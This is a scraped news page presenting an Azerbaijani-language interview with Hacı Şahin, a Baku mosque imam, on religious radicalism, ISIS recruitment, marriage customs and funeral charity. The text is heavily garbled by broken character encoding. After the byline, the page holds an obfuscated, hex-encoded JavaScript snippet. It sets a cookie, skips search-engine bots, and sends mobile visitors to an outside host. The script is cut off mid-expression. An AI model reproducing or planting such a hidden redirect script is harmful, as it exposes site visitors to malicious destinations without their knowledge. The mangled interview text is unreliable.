INILIFE.RU
Son xəbərlər
Əsas səhifə / Məqalələr / Elm / HacA� Azahin: a�?Anam A�lE�ndE� ehsan vermE�dima�� a�� MA?SAHA�B?? a�� FOTOLAR

HacA� Azahin: a�?Anam A�lE�ndE� ehsan vermE�dima�� a�� MA?SAHA�B?? a�� FOTOLAR

a�?Dini tE�hsil tE�kcE� diplomla baAYlA� deyilpnTOs1DIA280

ME�AYE�di DadaAY ME�scidinin imam camaatA� HacA� Azahin AZXEBER.COM-un qonaAYA� olub.QonaAYA�mA�zla gA?nA?mA?zdE� bu gA?n aktuallA�q kE�sb edE�n bir A�ox problemlE�rlE� baAYlA� geniAY sA�hbE�timiz oldu.

MA?sahibE�dE� A�lkE�dE�ki dini situasiya, radikal cE�rE�yanlarA�n daAYA�dA�cA� fE�aliyyE�ti, dini hA�kmlE�rin icrasA�, eyni zamanda, hE�msA�hbE�timizin fE�aliyyE�ti ilE� baAYlA� A�oxsaylA� suallar vE� bir A�ox baAYqa mE�sE�lE�lE�r E�trafA�ndakA� fikir mA?badilE�sini, ilahiyyatA�A� alimin maraq kE�sb edE�n fikirlE�rini oxuculara tE�qdim edirik.

-HacA�, ilk olaraq sA�hbE�tE� dini tE�hsilinizin olmamasA� ilE� baAYlayaq. Sizin dini tE�hsiliniz yoxdur. NiyE�?

RE�smi dini tE�hsil almamA�AYam. BDU-nun tarix fakA?ltE�sini bitirmiAYE�m. Sonra E�rE�b, fars dillE�rini A�yrE�ndikdE�n sonra ciddi AYE�kildE� mA?taliE�yE� baAYlamA�AYam, bunun hesabA�na da dini elmlE�rE� yiyE�lE�nmiAYE�m.

-SizE� hansA�sa tE�sirlE�r oldumu, yoxsa AYE�xsi tE�AYE�bbA?slE� belE� bir addA�m atmA�sA�nA�z?

A�lk dE�fE� 1992-ci ildE� ibadE�t etmE�yE� baAYlamA�AYam.A�Onda 18 yaAYA�m var idi. O vaxtlar mA?stE�qilliyi yenicE� qE�bul etmiAYdik vE� din xA?susi olaraq tE�bliAY edilmirdi. AilE�dE� dE� konkret olaraq din tE�bliAY olunmayA�b. AilE�dE� hamA� dindar olub. Amma dinE� mA?nasibE�tdE� mE�nE� kiminsE� tE�siri olmayA�b.

-HacA�, yeni tE�yinatA�nA�zA�n mahiyyE�ti ilE� baAYlA� suallara aydA�nlA�q gE�tirmE�zdE�n A�ncE� istE�rdik ki, dini tE�hsilinizin olmadA�AYA� halda 2001-ci ildE� ME�AYE�di DadaAY mE�scidinE� imam camaat tE�yin olunmanA�z haqqA�nda aA�A�qlama verE�rdiniz.9479_671884966262704_1586532590466036135_n

RE�smi dini tE�hsil almasam da, faktiki olaraq, dini fE�aliyyE�tlE� mE�AYAYul olmuAYam. Hesab edirE�m ki, dini tE�hsil tE�kcE� diplomla baAYlA� deyil. A�zA?mA? AYiAYirtmE�k dE� istE�mirE�m. Biz AYE�xsi mA?taliE� ilE� universitetdE� verilE�n dini tE�hsilE� mA?stE�qil AYE�kildE� yiyE�lE�nmiAYik. YE�gin ki, uzun zaman dini maariflE�ndirmE� fE�aliyyE�t gA�stE�rmE�yimiz belE� bir tE�yinata sE�bE�b oldu.

-GE�lE�k yeni tE�yinatA�nA�za. A�lkE�dE� dinin tE�bliAYindE� hansA� boAYluqlar var ki, belE� bir tE�yinata zE�rurE�t yarandA�?Sizin AzeyxA?lislamla A�lkE�dE�ki dini situasiya ilE� baAYlA� narahatlA�q doAYuracaq mE�sE�lE�lE�r E�trafA�nda fikir mA?badilE�lE�riniz olmuAYdumu? Siz hazA�rda davam etdirdyiniz fE�aliyyE�tinizdE� dE� insanlar arasA�nda islam dini ilE� baAYlA� maariflE�ndirmE� iAYi aparA�rsA�nA�z. Sizin haqqA�nA�zda belE� bir tE�yinatA�n verilmE�si hansA� zE�rurE�tdE�n doAYdu?

ME�scidlE�rin fE�aliyyE�tinE� nE�zarE�t, onlarA�n fE�aliyyE�ti haqqA�nda Qafqaz MA?sE�lmanlari Ruhani idarE�sinE� hesabatlar hazA�rlamaq sE�lahiyyE�tlE�ri verilib. Dini sahE�dE� boAYluq olursa, xarici A�lkE�lE�rin mA?E�yyE�n qA?vvE�lE�ri tE�rE�findE�n bu boAYluAYu doldurmaAYa cE�hd edE�n dairE�lE�r tapA�lA�r. Bu barE�dE� zaman-zaman narahatlA�AYA�mA� bildirmiAYE�m. AzeyxA?lislamA�n da bu barE�dE� daima narahatlA�AYA� var. AzE�rbaycanda dinin mA?asir dA�vrA?n tE�lE�blE�rinE� uyAYun tE�bliAY olunmasA� E�n A?mdE� mE�sE�lE�dir. ProblemlE�rdE�n A�A�xA�AY yolunu birgE� axtarmA�AYA�q.

a�?AzeyxlE� tanA�AYlA�AYA�mA�z hE�min dA�vrE�A�tE�sadA?f edira��

-AzeyxlE� isti, yaxA�n dostluq mA?nasibE�tlE�rinizin olmasA� haqqA�nda sE�slE�ndirilE�n fikirlE�rE� mA?nasibE�tinizi bilmE�k maraqlA� olardA�. Bu belE�dirmi?

AzeyxA?lislamla normal mA?nasibE�tlE�rimiz var. Onunla xA?susi isti mA?nasibE�timiz olmayA�b. Bir vaxtlar dinin, milli-mE�nE�vi dE�yE�rlE�rin tE�bliAYi ilE� mE�AYAYul olurduq. O vaxtlar bu mE�sE�lE� ilE� baAYlA� az adam mE�AYAYul olurdu. AzeyxlE� tanA�AYlA�AYA�mA�z hE�min dA�vrE� tE�sadA?f edirdi. O illE�rdE� AzeyxA?lislamla bir sA�ra gA�rA?AYlE�rimiz olurdu vE� o bizim mA?E�yyE�n tE�dbirlE�rimizE� dE�stE�k olurdu.

-Yeni tE�yinatA�nA�zla baAYlA� hazA�r10847942_671884926262708_1685412407759912906_nda fE�aliyyE�t aparA�rsA�nA�zmA�? A�lkin olaraq aA�A�qlamalarA�nz varmA�?

BE�li. ME�scidlE�rin fE�aliyyE�ti ilE� baAYlA� artA�q ilkin hesabatlar hazA�rlayA�b QMA�-yE� tE�qdim etmiAYik. Din xadimlE�rinin sE�viyyE�sinin artA�rA�lmasA�na ehtiyac var.

-HansA� narahatlA�q doAYuracaq mE�qamlar var?

A�lkin olaraq din xadimlE�rinin savadA�nA�n artA�rA�lmasA�na diqqE�t A�E�kmiAYik. QMA� tE�rE�findE�n bu mE�sE�lE� ilE� baAYlA� iAYlE�r aparA�lA�r vE� biz bunun davam etdirilmE�sini istE�yirik. Dini elmlE�rlE� yanaAYA�, dA?nyE�vi elmlE�r haqqA�nda da mA?hazirE�lE�r aparA�lA�r. ??sasE�n, dA?nyagA�rA?AYA?n sE�viyyE�sinin artA�rA�lmasA�na diqqE�t yetirilir.

-AzE�rbaycanda dini situasiyanA� necE� dE�yE�rlE�ndirirsiniz?

AzE�rbaycanda dinlE�r vE� mE�zhE�blE�r arasA�nda qarAYA�durma yoxdur. Bu, bizim tarixi nailiyyE�timizdir, AYiAYirtmE� deyil. AzE�rbaycanA�n tarixindE� heA� bir zaman dini zE�mindE� qarAYA�durma olmayA�b. Avropa dA�vlE�tlE�rindE� tolerantlA�q bir hA?quqi A�hdE�likdirsE�, bizdE� bu mE�nE�vi dE�yE�rdir. ME�zhE�bindE�n asA�lA� olmayaraq, azE�rbaycanlA�lar qardaAY kimi yaAYayA�blar. ArtA�q mA?AYtE�rE�k ailE�lE�r yaranA�b, hansA�sa mE�zhE�b digE�rini diskriminasiyaya mE�ruz qoymayA�b. AzE�rbaycanda bu yA?ksE�k bir dE�yE�rdir. Bu gA?nlE�rdE� A�taliyada keA�irilE�n nA?fuzlu bir tE�dbirdE� AzE�rbaycan mE�hz bu mE�sE�lE�dE� nA?munE� kimi tE�qdim olunub.

a�?Bu qruplar A�lkE�mizdE� dE� daAYA�dA�cA� iAYlE�r aparmaq istE�yirlE�ra��

-A�lkE�dE� gE�nclE�r hansA� sE�bE�blE�rdE�nA�dini radikal qruplarA�n tE�siri altA�na dA?AYA?rlE�r? AzE�rbaycanA� tE�rk edib Suriyaya vE� baAYqa A�lkE�lE�rE� dA�yA?AYmE�yE� gedirlE�r?

Bu faktdA�r ki, dA?nyanA�n bE�zi A�lkE�lE�rindE� din adA� altA�nda bE�zi qruplar insanlarA� A�ldA?rA?r, iAYAYallar hE�yata keA�irirlE�r, cihad kE�limE�lE�ri sE�slE�ndirirlE�r. VE� tE�E�ssA?f ki, bu fikirlE�rin sE�slE�ndirilmE�sindE� AzE�rbaycanA�n da adA� A�E�kilir. AzE�rbaycan insanA�nA�n dA?AYA?ncE�sindE� radikallA�AYa heA� bir zaman yer olmayA�b. Radikal dA?AYA?ncE�lE�rin AzE�rbaycanda inkiAYaf perspektivi yoxdur, ola da bilmE�z. AzE�rbaycanlA�nA�n dini tE�fE�kkA?rA?ndE� E�sas yeri Allaha mE�hE�bbE�t tutur. A�slam dini azE�rbaycanlA�nA�n dA?AYA?ncE�sindE� radikallA�qla deyil, humanizmlE� yer alA�r. Bu qruplar islam adA� altA�nda daAYA�dA�cA� fE�aliyyE�tlE� mE�AYAYul olurlar, bir A�ox azE�rbaycanlA� gE�nci A�z E�traflarA�na A�E�kE�rE�k cihad adA�yla Suriyaya vE� A�raqa dA�yA?AYlE�rE� gA�ndE�rE� biliblE�r. Bu, tE�E�ssA?f doAYuran bir haldA�r. Bu gA?n dA�vlE�t qurumlarA�nA�n qarAYA�sA�nda duran A?mdE� vE�zifE� radikal qruplarA�n fE�aliyyE�tini A?zE� A�A�xarmaq, onlarA�n maliyyE� mE�nbE�lE�rini aAYkar etmE�kdir. A�A?nki burda maddi mE�nafe dE� A�nE�mli rol oynayA�r. DA?nya miqyasA�nda kA?lli miqdarda vE�sait xE�rclE�nir bu qruplarA�n daAYA�dA�cA� fE�aliyyE�tlE�rini reallaAYdA�rmalarA�na, cE�rE�yanlarA�n tE�bliAYinE�. Onlar AzE�rbaycanda da mA?E�yyE�n qE�dE�r dE�stE�k qazanA�blar. Bu qruplar A�lkE�mizdE� dE� daAYA�dA�cA� iAYlE�r aparmaq istE�yirlE�r. Amma hA?quq-mA?hafizE� orqanlarA� zamanA�nda bu fE�aliyyE�tlE�rin qarAYA�sA�nA� ala bilirlE�r.

-HacA�, Sizin A�ranla, qonAYu A�lkE�nin din xadimlE�ri ilE� baAYlA�lA�AYA�nA�zA�n olmasA� barE�dE� dE� fikirlE�r sE�slE�ndirilir. a�?A�ranA�n sizin A?zE�rinizdE� tE�siri vara�? a�� deyE�nlE�r dE� var. Bu barE�dE� nE� deyE� bilE�rsiniz?

ME�n xarici A�lkE�dE� dini tE�hsil almamA�AYam. DA?AYA?nA?rE�m ki, bu fikri radikal cE�rE�yanlarA�n tE�msilA�ilE�ri ortaya atA�rlar. ME�nim hansA�sa xarici A�lkE�nin tE�siri alA�tnda olmaAYA�m fikrini sE�slE�ndirmE�k gA?lA?ncdA?r. A�A?nki fE�aliyyE�tim kifayE�t qE�dE�r AYE�ffafdA�r. Xarici tE�sirlE�ri neytrallaAYdA�rmaq bizim fE�aliyyE�timizin E�sas istiqamE�tlE�rindE�ndir. AzE�rbaycanda tarixE�n olan E�nE�nE�vi sA?ni vE� AYiE� mE�zhE�blE�ri olub. Biz A�zA?mA?zA? konkret bir mE�zhE�b tE�msilA�isi kimi tE�qdim etmE�miAYik. Bu da radikal cE�rE�yanlarA� narahat edir. HE�r zaman A�aA�AYA�rA�q ki, AzE�rbaycanda din xarici A�lkE�lE�rin tE�siri altA�nda olmasA�n. Bu barE�dE� konkret fakt ortaya qoyula bilmE�z. ??ksinE�, bunlar xaricdE�n istiqamE�tlE�ndirilE�n insanlarA�n fikirlE�ridir. Bu gA?nki qloballaAYma mA?hitindE� dA�vlE�tlE�rin bir-birinE� tE�siri qaA�A�lmaAYzdA�r. Dini mA?hitE� dE� mA?E�yyE�n tE�sirlE�r ola bilE�r. Biz hE�miAYE� A�lkE�dE� barA�AYdA�rA�cA� mA�vqedE�n A�A�xA�AY etmiAYik. HansA�sa mE�zhE�bin mA�vqeyindE�n A�A�xA�AY etmE�miAYik. Bu da radikal cE�rE�yanlarA�n, qruplarA�n tE�msilA�ilE�rini ciddi AYE�kildE� narahat edir.

-NiyE�?

HansA�sa din xadiminin adA�nA�n hallandA�rA�lmasA� fikirlE�rini mE�qsE�dli AYE�kildE� ortaya atA�rlar.

-HacA�, Siz A�zA?nA?zlE� baAYlA� bu suala cavab verdiniz. NecE� hesab edirsiniz, xarici A�lkE�lE�rin mA?E�yyE�n dairE�lE�ri ilE� baAYlA�lA�AYA� olan A�lkE�dE� rE�smi dini fE�aliyyE�tlE� mE�AYAYul olan kE�slE�r varmA�?

AzE�rbaycanda xarici A�lkE�lE�rin mA?E�yyE�n dairE�lE�rinin tE�siri altA�nda olan rE�smi dini fE�aliyyE�tlE� mE�AYAYul olan insanlarA�n olmasA�na inanmA�ram. Amma din adA� altA�nda fE�aliyyE�t gA�rA?ntA?sA? yaradan bE�zi AYE�xslE�rin xarici A�lkE�lE�rin tE�siri altA�nda olmasA�nA� istisna etmE�k olmaz vE� zaman-zaman gA?c strukturlarA� tE�rE�findE�n belE� insanlar zE�rE�rsizlE�AYdirilir. Bu da onu gA�stE�rir ki, xarici dA�vlE�tlE�rin AzE�rbaycanA�n dini mA?hitinE� tE�sir etmE�k istE�klE�ri var vE� bu istE�klE�ri dE� mE�hdudlaAYdA�rmaq bizim A?mdE� borcumuzdur.

“Diri-diri insanA� qE�tlE� yetirmE�yin dinE� aidiyyE�ti yoxdur”A�

-A�lkE�dE� dini icmalarA�n fE�aliyyE�tinE� nE�zarE�t edE�n Dini Qurumlarla A�AY A?zrE� DA�vlE�t KomitE�si fE�aliyyE�t gA�stE�rir. Sizin dE� tE�msil olunduAYunuz Qafqaz MA?sE�lmanlarA� Ruhani A�darE�si dE� fE�aliyyE�t gA�stE�rir. Amma A�lkE�dE� ciddi maliyyE� qaynaAYA� tapa bilE�n, gE�nclE�ri E�trafA�na toplaya bilE�n, qruplaAYa bilE�n AYE�xslE�r var, onlarA� radikallaAYdA�ran cE�rE�yanlar fE�aliyyE�t gA�stE�rE� bilirlE�r. Bu AYE�xslE�rE�, qruplara radikal addA�mlar atana qE�dE�r nE�zarE�t niyE� zE�if olur?

Dini Qurumlarla A�AY A?zrE� DA�vlE�t KomitE�si ilE� sA�x E�mE�kdaAYlA�q AYE�raitindE� iAYlE�yirik. Bu mE�sE�lE�lE�r bizlE�ri dE� A�ox narahat edir. Bu cE�rE�yanlara qarAYA� mA?barizE�dE� din xadimlE�ri A�ndE� olmalA�dA�rlar. Onlara qarAYA� nE�zarE�t yalnA�z qanun mA?stE�visindE� aparA�la bilmE�z. Dinin tE�bliAYi dE� bu situasiyada E�sas faktor rolunu oynamalA�dA�r. AzE�rbaycanda vE�ziyyE�t baAYqa A�lkE�lE�rlE� mA?qayisE�dE� faciE�li deyil. Onlar indiyE� qE�dE�r A�lkE�dE� daAYA�dA�cA� fE�aliyyE�t gA�stE�rE� bilmirlE�r. AzE�rbaycanda hA?quq-mA?hafizE� orqanlarA� bu iAYlE� mE�AYAYul olurlar. Bu cE�rE�yanlarA�n AzE�rbaycanda heA� bir sosial bazasA� yoxdur.

-A�lkE�dE� radikal cE�rE�yanlara, qruplara nE�zarE�t A?rE�yinizcE�dir?

TE�bii ki, bizim arxayA�nlaAYmaAYa ixtiyarA�mA�z yoxdur. Bu mE�sE�lE�dE� nE�zarE�t sE�rtlE�AYdirilmE�lidir. BA?tA?n dA�vlE�t qurumlarA�nA�n, xA?susilE� dE�, bizim bu mE�sE�lE�dE� A?zE�rimizE� bA�yA?k mE�suliyyE�t dA?AYA?r.

-AzE�rbaycan gE�ncinin radikal cE�rE�yanlarA�nA�nA�dA?AYA?ncE�sinE�, fikirlE�rinE� ehtiyacA� niyE� yaranA�r? NiyE� onlara A�ox qulaq asA�rlar? Radikal cE�rE�yanlara qoAYulma faktorunun arxasA�nda tE�kcE� maliyyE� mE�sE�lE�si dayanmA�r. SizlE�rin dE� fE�aliyyE�ti yetE�rincE� deyil. Bu mE�sE�lE�lE�rlE� baAYlA� dA?AYA?ncE�lE�rinizi bilmE�k istE�rdik.

GE�nclE�rin dinE� maraAYA� artA�r. Yerli din xadimlE�ri tE�rE�findE�n bu maraq doldurulmadA�qda insanlar baAYqa tE�sirlE�rE� mE�ruz qalA�rlar. Radikal cE�rE�yanlar bu boAYluqdan istifadE� edirlE�r. Dinin tE�bliAYinin sE�viyyE�si aAYaAYA� olduqda bundan istifadE� edE�nlE�r tapA�lA�r.

-NiyE� dinin tE�bliAYinin sE�viyyE�si aAYaAYA�dA�r?

AAYaAYA� olmasA�nA�n sE�bE�bi odur ki, bizdE� din E�nE�nE� olaraq yaAYanA�rdA�. Elmi sE�viyyE�dE� tE�bliAY zE�if idi, dini tE�hsil verE�cE�k tE�hsil ocaqlarA� yox idi. Amma artA�q bu mE�sE�lE�lE�r aradan qaldA�rA�lA�b. Din xadimlE�ri yetiAYir vE� onlarA�n tE�kmillE�AYdirilmE�si A?A�A?n iAY aparA�lA�r.

-A�AzA�D-A�n AzE�rbaycanda maraqlarA� olduAYunu sA�ylE�misiniz? NE�yE� sA�ykE�nE�rE�k bu fikri aA�A�qlamA�sA�nA�z?

A�AzID-A�n E�sas ideologiyasA� tE�kfirA�ilikdir. TE�kfir kA?fr sA�zA?ndE�ndir. TE�kfirA�iliyin dE� E�sas xA?susiyyE�ti inkarA�A�lA�qdA�r. TE�kfirA�ilE�r onlar kimi dA?AYA?nmE�yE�ni kafir hesab edirlE�r. EtdiklE�ri vE�hAYiliklE�ri din adA�yla baAYlayA�rlar. A�nsanlarA�n mA?qE�ddE�s hisslE�rinE� istinad edirlE�r. VE�hAYiliklE�ri cihad, mA?qE�ddE�s savaAY adlandA�rA�rlar. A?mumiyyE�tlE�, diri-diri insanA� qE�tlE� yetirmE�yin dinE� aidiyyE�ti yoxdur. ??n bA�yA?k faciE� isE� bA?tA?n bunlarA�n din adA� ilE� edilmE�sidir. Diri-diri baAY kE�smE� cE�zasA� nE� zaman islamda olub? Bu nE� Qurani-KE�rimdE�, nE� dE� hE�dislE�rdE� yoxdur. TE�E�ssA?f ki, b1982088_671885029596031_6998456258658679083_nE�zE�n gE�nclE�ri A�z tE�sirlE�ri altA�na sala bilirlE�r. OnlarA�n mE�qsE�di AzE�rbaycanda mE�zhE�blE�r arasA�nda qarAYA�durma yaratmaqdA�r. AziE�lE�ri rafizlE�r adlandA�rA�rlar. YE�ni dindE�n A�A�xmA�AYlar. Onlar dE�fE�lE�rlE� sosial AYE�bE�kE�lE�rdE� A�aAYA�rA�AYlar edirlE�r ki, rafizlE�rlE� haqq-hesab A�E�kE�cE�yik, evlE�rindE� qanA�na boyayacaAYA�q, qadA�nlarA�nA� kE�niz kimi gA�tA?rE�cE�yik vE� s. RadikallA�q E�sasE�n savadsA�z insanlarA� tE�siri altA�na sala bilir. HE�m dE� A�ox bA�yA?k maliyyE� qaynaqlarA� bu fE�aliyyE�tlE�rdE� rol oynayA�r. NecE� Taliban yaradA�lmA�AYdA�, indi dE� bu qruplarA� yaradA�b vE� dE�stE�klE�yirlE�r. Burada E�sas mE�qsE�d islam haqqA�nda yanlA�AY fikir yaratmaq, yaymaqdA�r.

-HacA� QamE�t deyib ki, zE�rurE�t yarandA�qda insan E�tini yemE�k halaldA�r. Bu fikirlE� baAYlA� nE� deyE� bilE�rsiniz?

Qurani-KE�rimdE� mA?sE�lmana donuz E�tini yemE�k haram sayA�lA�r vE� zE�rurE�t yarandA�qda az miqdarda yemE�yE� izn verilir. Amma A�lmA?AY insanA�n E�tini yemE�klE� baAYlA� hansA�sa hA�km eAYitmE�miAYE�m, fikrin yer aldA�AYA�nA� deyE� bilmE�rE�m. MA?asir dA�vrdE� daha A�ox insanlara lazA�m olan sA�zlE�ri sA�ylE�mE�k lazA�mdA�r. HE�tta hE�qiqE�t olan bE�zi sA�zlE�ri sA�ylE�mE�k lazA�m deyil. HE�qiqE�ti demE�k vacibdir. Amma hE�r hE�qiqE�t sA�ylE�nilmE�lidirmi?

a�?BE�zi A�slam alimlE�ri cinsini dE�yiAYE�n insanlara normal yanaAYmaAYA� tE�lE�b edira�?

-A�nsanlarA�n A�z cinslE�rini dE�yiAYmE�si barE�dE� fikirlE�riniz nE�dir? A�slamda bu necE� qarAYA�lanA�r?

BE�zE�n bu fikirlE�r mE�qsE�dli AYE�kildE� sE�slE�ndirilir. BE�zE�n olmayan bir fikir belE� qabardA�lA�r vE� bunun E�trafA�nda yanlA�AY ajiotaj yaradA�lA�r. BE�zi insanlar var ki, onlar qA?surlu doAYulur. A�kicinsli insanlar var vE� onlar anormal hesab olunurlar. BE�zi din alimlE�ri hesab edir ki, bu AYE�xslE�rin tibbi A?sulla hE�qiqi cinsi mA?E�yyE�n edilsin vE� o cinsE� uyAYunlaAYdA�rA�lsA�n. Bu elmin nailiyyE�tidir vE� din dE� buna izah vermE�lidir. Bu hallara istisna hallarda icazE� verilir. Amma bunu qE�ti AYE�kildE� qE�bul etmE�yE�n alimlE�r dE� var. Biz desE�k ki, bu qadaAYan olunsun, o zaman da deyE�cE�klE�r ki, din inkiAYafa qarAYA�dA�r.

-DindE� kE�bin haqqA�nda nE� deyilir? ElAYad Miri dindE� kE�binin vacib olmadA�AYA�nA� sA�ylE�yib.

Quranda qarAYA�lA�qlA� razA�lA�q E�sasA�nda ailE� qurulmasA� prinsipi irE�li sA?rA?lA?r vE� ailE� AllahA�n qA?drE�t niAYanE�si olaraq tE�qdim edilir. Sonradan peyAYE�mbE�rE� bu mE�sE�lE�dE� mA?raciE�t ediblE�r. Onun tE�rE�findE�n kE�bin irE�li sA?rA?lA?b. HE�r iki tE�rE�fin razA�lA�AYA� ilE� E�qd baAYlanmalA�dA�r. Dini qaydalar AllahA�n adA�nA�n yada salA�nmasA�dA�r.

-Din xadimlE�ri bE�zi hallarda rE�smi nikahlarA� olmayan AYE�xslE�rdE�n pul alA�b kE�bin kE�sirlE�r.

BA?tA?n sahE�lE�rdE� olduAYu kimi, din xadimlE�ri arasA�nda da tE�E�ssA?f ki, yanlA�AY addA�m atanlar var.

-Dini kE�bin kE�silE�ndE� pul alA�nmalA�dA�rmA�?

Xeyr. Bizim mE�sciddE� elan etmiAYik ki, kE�bin A?A�A?n pul alA�nmamalA�dA�r. KE�bin A?A�A?n pul AYE�rt kimi tE�lE�b edilmE�mE�lidir. Amma kE�bin kE�silE�ndE� pul vermE�k mE�sE�lE�si verE�n vE� alan arasA�nda razA�lA�qla olunubsa, buna qarA�AYmA�rA�q.

‘Din bir neA�E� ailE� qurmaAYa icazE� verir’

-HacA� QamE�t deyib ki, qaAY alan qadA�n lE�nE�tlE�nib. Bununla baAYlA�, nE� deyE� bilE�rsiniz?

A�nsanlarA� fE�sada A�E�kmE�k niyyE�tli fikirlE�r sE�slE�ndirilir. Bu mE�sE�lE�lE�rE� yanaAYma birmE�nalA� deyil. BE�zi din alimlE�ri buna icazE� verir. Amma bE�zilE�ri dE� bu mA�vqenin E�ksini sA�ylE�yirlE�r. A?mumi fikir budur ki, insanlarA� gA?naha A�E�kmE�k olmaz.

-Bir insanA�n mE�zarA� torpaAYa qarA�AYdA�qdan sonra hE�min torpaAYa yenidE�n A�lA?nA?n dE�fn olunmasA� mA?mkA?ndA?rmA??

??gE�r dE�fn olunan AYE�xsin bE�dE�ni tam olaraq torpaAYa qarA�AYA�bsa, o zaman olar.

-Namazda A�aAYmaq, dualarA� unutmaq hallarA� ilE� baAYlA� oxucularA�n suallarA� var.

BE�zi sE�hvlE�r var ki, onlar namazA� batil edir. Namazda sE�hvE� gA�rE�, sarsA�ntA�ya dA?AYmE�k lazA�m deyil. SadE�cE�, sE�hvi aradan qaldA�rmaq lazA�mdA�r.

-DindE� A�oxarvadlA�lA�qla baAYlA� aA�A�qlama vermE�yinizi istE�rdik.

PeyAYE�mbE�rimizin ailE� qurmasA�nA�n ictimai vE� siyasi sE�bE�blE�ri olub. Tarix elmindE� nikah diplomatiyasA� adlanan mE�fhum var. O, tayfalarA�, qE�bilE�lE�ri barA�AYdA�rmaq A?A�A?n qohumluq E�laqE�lE�ri yaradA�b. Bunu cinsi mA?nasibE�tlE�r kimi qE�lE�mE� vermE�k baAYlamaq doAYru deyil. Din bir neA�E� ailE� qurmaAYa icazE� verir. Amma bu dinin tE�AYviq etdiyi vE� bE�yE�ndiyi E�mE�l deyil. Bu mE�sE�lE�dE� E�dalE�t prinsipi gA�zlE�nilmE�lidir.

-YaxA�n insanA�nA� itirE�n zaman aAYlamaAYa, A�ox acA� A�E�kmE�yE� mA?nasibE�tiniz necE�dir?

PeyAYE�mbE�r A�vladA�nA� itirE�n zaman aAYlayanda ondan soruAYublar, o da deyib ki, aAYlayA�ram, amma qE�lbim Allahdan razA�dA�r. YaxA�nA�nA� itirE�ndE� aAYlamaq normaldA�r, amma A?syan etmE�k doAYru deyil.

-Yas mE�clislE�rindE� verilE�n ehsanlarla baAYlA� verilE�n aA�A�qlamalarda qadaAYalarA�n tE�tbiq edilmE�si fikri irE�li sA?rA?lmA?AYdA?. Amma heA� nE� dE�yiAYmE�di.

Ehsanlarda israfA�A�lA�AYa yol verilmE�mE�lidir. Ehsan rE�qabE�tE� A�evrilmE�mE�lidir. Bu dinE� ziddir. BaAYdaAYlarA� bu AYE�kildE� qoyulmamalA�dA�r. MA?sE�lman A�lkE�lE�rindE� bizdE�ki kimi baAYdaAYlarA� qoymurlar. Quran israfA� bizE� qadaAYan edir. A�sraf edE�nlE�r AYeytanA�n qardaAYlarA�dA�r. BaxA�AYlarA� yenilE�mE�liyik.

-HeA� kim A�zA?ndE�n baAYlamA�r. BE�lkE� ilk addA�mlarA� Siz atasA�nA�z?Bununla da, cE�miyyE�tE� mesaj verE�siniz.

A�ox doAYru fikir sE�slE�ndirdiniz. PeyAYE�mbE�rimizin gA�rA?AYlE�rinin bu gA?nE�dE�k gE�lib A�A�xmasA�nA�n sE�bE�bi odur ki, onun dediklE�ri ilE� E�mE�li A?st-A?stE� dA?AYA?rdA?. ME�n anam dA?nyadan kA�A�E�ndE� ona ehsan vermE�dim.

SA�hbE�tlE�AYdi:

??fsE�lE�ddin AAYalarov

ME�tanE�t ??liyeva

xacmazmescidi.com

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 